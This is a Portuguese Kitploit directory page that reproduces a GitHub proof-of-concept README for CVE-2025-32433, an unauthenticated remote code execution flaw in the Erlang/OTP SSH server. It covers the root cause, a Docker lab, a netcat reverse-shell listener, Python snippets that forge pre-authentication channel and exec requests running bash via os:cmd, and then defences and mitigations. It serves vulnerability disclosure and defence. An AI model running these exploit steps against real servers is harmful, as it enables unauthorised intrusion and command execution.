Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Erlang-OTP-PoC_CVE-2025-32433 — Exploit de prova de conceito para CVE-2025-32433, uma vulnerabilidade de confusão de canal pré-autenticação no SSH do Erlang/OTP, demonstrando bypass de autenticação e execução remota de código com um laboratório Docker. | Kitploit
Ferramentas/GitHubGitHub/antoniesoga/erlang-otp-poc_cve-2025-32433
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHubantoniesoga/erlang-otp-poc_cve-2025-32433

Erlang-OTP-PoC_CVE-2025-32433

Exploit de prova de conceito para CVE-2025-32433, uma vulnerabilidade de confusão de canal pré-autenticação no SSH do Erlang/OTP, demonstrando bypass de autenticação e execução remota de código com um laboratório Docker.

Ver Repositório
212há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Confusão de Canais Pré-Autenticação SSH Erlang/OTP

📺 Vídeo de Prova de Conceito

Descrição: Uma demonstração da vulnerabilidade de Confusão de Canais Pré-Autenticação SSH Erlang/OTP.

Clique aqui para assistir à demonstração completa no YouTube

Resumo

Sobre o que é esta PoC?

Esta Prova de Conceito demonstra CVE-2025-32433, uma vulnerabilidade na implementação do servidor SSH Erlang/OTP que permite a um atacante abrir canais SSH e executar comandos antes da autenticação.

Devido à aplicação inadequada das transições de estado do protocolo SSH, certas mensagens SSH (SSH_MSG_CHANNEL_OPEN e SSH_MSG_CHANNEL_REQUEST) são aceitas antes que a autenticação do usuário tenha sido concluída com sucesso. Isso resulta em uma burla de autenticação completa e execução remota de comandos dentro da VM Erlang.


Condições Afetadas

O que deve estar vulnerável para que isso funcione?

A vulnerabilidade pode ser acionada quando as seguintes condições forem atendidas:

  • As versões do Erlang/OTP afetadas por esta vulnerabilidade são todas as versões anteriores e incluindo as seguintes:
    • OTP-27.3.2
    • OTP-26.2.5.10
    • OTP-25.3.2.19
  • A aplicação ssh do Erlang está ativada
  • A autenticação baseada em senha está configurada
  • O daemon SSH está acessível ao atacante
  • Nenhuma credencial válida é necessária

Importante, este problema não depende de credenciais fracas ou má configuração, mas sim de um tratamento defeituoso do estado do protocolo.


Causa Raiz Técnica e Fluxo de Exploração

Como a vulnerabilidade se manifesta e por que é explorável?

O problema decorre de uma falha de confusão de estado no servidor SSH Erlang/OTP, onde o estado de autenticação não é estritamente aplicado antes do processamento de mensagens relacionadas a canais.

Em alto nível, a exploração prossegue da seguinte forma:

  1. O atacante completa as fases de troca de versão e troca de chaves SSH.
  2. O servidor transita a conexão para um estado de sessão ativa, sem impor a autenticação bem-sucedida do usuário.
  3. O atacante envia uma requisição SSH_MSG_CHANNEL_OPEN para um canal session.
  4. O servidor aceita incorretamente a requisição de canal antes da conclusão da autenticação.
  5. Uma SSH_MSG_CHANNEL_REQUEST do tipo exec é enviada no canal aberto.
  6. O subsistema SSH Erlang encaminha a requisição para o manipulador de conexão.
  7. O payload fornecido é executado via primitivas Erlang (por exemplo, os:cmd/1) dentro do contexto da VM.

Este comportamento viola o modelo de protocolo SSH definido na RFC 4252/4254, onde a criação de canais e requisições só devem ser permitidas após autenticação bem-sucedida.

Em resumo:

  • O estado de autenticação é rastreado, mas não é aplicado
  • O tratamento do canal é controlado pelo estado da sessão, não pelo estado de autenticação
  • O processo ssh_connection processa requisições exec prematuramente
  • Isso permite execução remota de código pré-autenticação

Esta é uma vulnerabilidade de lógica e gerenciamento de estado, não uma fraqueza criptográfica.


Construção e Implantação

Os seguintes passos constroem e implantam um ambiente vulnerável autocontido usando Docker. O contêiner executa um servidor SSH deliberadamente endurecido que rejeita todas as credenciais, garantindo que qualquer execução de comando bem-sucedida seja resultado de uma burla de autenticação.

root@kitploit:~
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
root@kitploit:~
docker build -t erlang-ssh .

build

root@kitploit:~
docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

Uma vez em execução, o daemon SSH será exposto na porta 2222 e estará pronto para exploração usando a PoC fornecida.


Exploração

Este script explora uma falha no servidor SSH Erlang/OTP que permite que certas mensagens do protocolo SSH sejam processadas antes da autenticação.

O processo de exploração requer dois terminais: um para receber a conexão reversa e outro para lançar o exploit.

  • Ouvinte (Terminal 1):

    root@kitploit:~
    nc -lvnp 4488
    
  • Execução do exploit (Terminal 2):

    root@kitploit:~
    python3 exploit.py
    

Passo a passo do script de exploração

  1. Protocol Spoofing

    root@kitploit:~
    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    s.sendall(pad(kex))
    

    Essas mensagens são usadas para fazer o servidor tratar a conexão como um cliente SSH legítimo. Elas avançam o estado do protocolo SSH o suficiente para permitir mensagens relacionadas a canais sem completar a autenticação.

  2. Pre‑Authentication Session Channel

    root@kitploit:~
    s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
    

    Esta requisição é usada para abrir um canal de sessão antes da autenticação. Em servidores SSH Erlang/OTP vulneráveis, isso contorna os controles de acesso normais e cria uma sessão não autorizada.

  3. Command Execution Request

    root@kitploit:~
    erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
    exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
    

    Esta requisição é usada para acionar a execução de comandos através do runtime Erlang. Encapsular o payload na sintaxe Erlang garante que o comando seja executado pela VM Erlang em vez de ser tratado como um comando shell SSH padrão.

Resultado

Se o alvo for vulnerável, o comando fornecido é executado sem autenticação.

exploit

nc


Defesa

A defesa contra esta vulnerabilidade depende de uma segmentação de rede rigorosa e monitoramento no nível do protocolo, pois os logs de autenticação padrão podem não registrar as tentativas de burla (já que a autenticação é ignorada).

  • Restrição de Rede: Não exponha portas SSH Erlang (padrão ou personalizadas) à internet pública. Restrinja o acesso a IPs confiáveis ou exija uma VPN/host Bastion.
  • Assinaturas IDS/IPS: Configure Sistemas de Detecção de Intrusão para alertar sobre sessões SSH onde pacotes SSH_MSG_CHANNEL_OPEN (Tipo 90) são enviados imediatamente após a Troca de Chaves, sem um pacote SSH_MSG_USERAUTH_SUCCESS (Tipo 52) anterior.
  • Monitoramento em Tempo de Execução: Monitore a VM Erlang para chamadas os:cmd inesperadas ou criação de processos shell que não se correlacionem com uma sessão de usuário autenticada com sucesso nos logs da aplicação.

Mitigações

A única correção completa é aplicar um patch no runtime Erlang/OTP subjacente para impor transições de estado estritas.

1. Atualizar Erlang/OTP

Atualize o runtime Erlang/OTP imediatamente para uma versão que aplique verificações de autenticação antes da criação de canais. Certifique-se de estar executando uma versão mais recente do que as listadas na seção "Condições Afetadas".

Verifique os Lançamentos oficiais do Erlang/OTP no GitHub para os patches de segurança mais recentes.

2. Soluções Temporárias

Se uma atualização imediata não for viável, aplique os seguintes controles:

  • Desativar a Aplicação SSH: Se a interface SSH não for crítica para a missão, pare a aplicação para remover a superfície de ataque:

    root@kitploit:~
    ssh:stop().
    
  • Lista de Permissões do Firewall: Limite estritamente o acesso de rede à porta SSH exposta apenas a sub-redes internas administrativas.


Colaboradores

AntonieSoga Antonie Șoga AntonieSoga · Colaborador

7uddy Ene Călin Tudor 7uddy · Colaborador

BanicaCristian04 Cristian Bănică BanicaCristian04 · Colaborador


⚠️ Aviso Legal

Apenas para pesquisa educacional e defensiva.


Referências

  • CVE-2025-32433
  • Erlang/OTP SSH Source
  • RFC 4252/4254

cve

Baixar ferramenta